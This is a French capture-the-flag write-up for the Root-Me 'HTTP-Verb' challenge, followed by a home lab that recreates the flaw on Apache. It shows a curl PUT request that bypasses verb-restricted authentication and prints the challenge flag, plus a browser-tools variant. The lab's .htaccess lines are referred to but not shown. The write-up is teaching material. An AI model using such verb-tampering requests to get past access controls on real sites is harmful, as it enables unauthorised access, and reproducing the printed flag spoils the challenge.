| 06/01/2022 | HTTP-Verb | Lien du CTF | |
|---|---|---|---|
| # Explication de la vulnérabilité | |||
| Ce challenge s'appuie sur utilisation de verbe HTTP pour sécurité l'accès au formulaire de connexion. Or, cette démarche ouvre une faille qui implique que si nous forçons un autre verbe que ceux autoriser pour accéder au login, ce dernier et bypass. | 
Exploitation de la vulnérabilité
Solution 1
Modification de la méthode http via une commande CURL.
root@me:~$ curl -X PUT http://challenge01.root-me.org/web-serveur/ch8/
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html><head>
</head>
<h1>Mot de passe / password : a23e$dme96d3saez$$prap
</h1>
</body></html>
Le flag est le suivant : a23e$dme96d3saez$$prap.
Solution 2
Ouvrir les outils développeurs sur le navigateur web et se rendre dans l'onglet réseau.

Annuler l'authentification, et modifier la requête GET de la premère conenxion (401). Sous En-têtes, cliquer sur modifier et renvoyer, rempalcer GET par un autre verbe (ex : PUT) et envoyer.
Ce rendre sous l'onglet Réponse :

Laboratoire
Configuration
Création d'un conteneur Debian LXC sur ProxMox. - Installation d'apache2.
Sans la faille
Sans .htaccess si j'essaie d'accèder au site, je n'ai aucun problème :

Ajout de la faille
- 
Création de deux dossier, un avec qui contiendra la faille et l'autre non. 
- 
Création d'un fichier html test : 
root@me:~$ nano /var/wwww/html/notprotected/index.html
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html><head>
</head>
<h1>Mot de passe / password : a23e$dme96d3saez$$prap
</h1>
</body></html>
root@me:~$ nano /etc/apache2/apache2.conf
.
.
.
<Directory /var/www/>
        Options Indexes FollowSymLinks
        AllowOverride All
        Require all granted
</Directory>
.htacess:
Pour la partie prottégée :
- Ajouter les lignes suivantes dans le fichier.htacess:
- Enregistrer le fichier.
- Redémarre le serices apache2
Maintenant si j'essaie d'accèder au site, la page de login est bien présente :

Maintenant essyons de bypass le login. Via une commande CURL.
Dossier non protégé :
root@me:~$ curl -X POST http://192.168.1.231/notprotected/
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html><head>
</head>
<h1>Mot de passe / password : a23e$dme96d3saez$$prap
</h1>
</body></html>
Dossier protégé :
root@me:~$ curl -X POST http://192.168.1.231/protected/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>401 Unauthorized</title>
</head><body>
<h1>Unauthorized</h1>
<p>This server could not verify that you
are authorized to access the document
requested.  Either you supplied the wrong
credentials (e.g., bad password), or your
browser doesn't understand how to supply
the credentials required.</p>
<hr>
<address>Apache/2.4.52 (Debian) Server at 192.168.1.231 Port 80</address>
</body></html>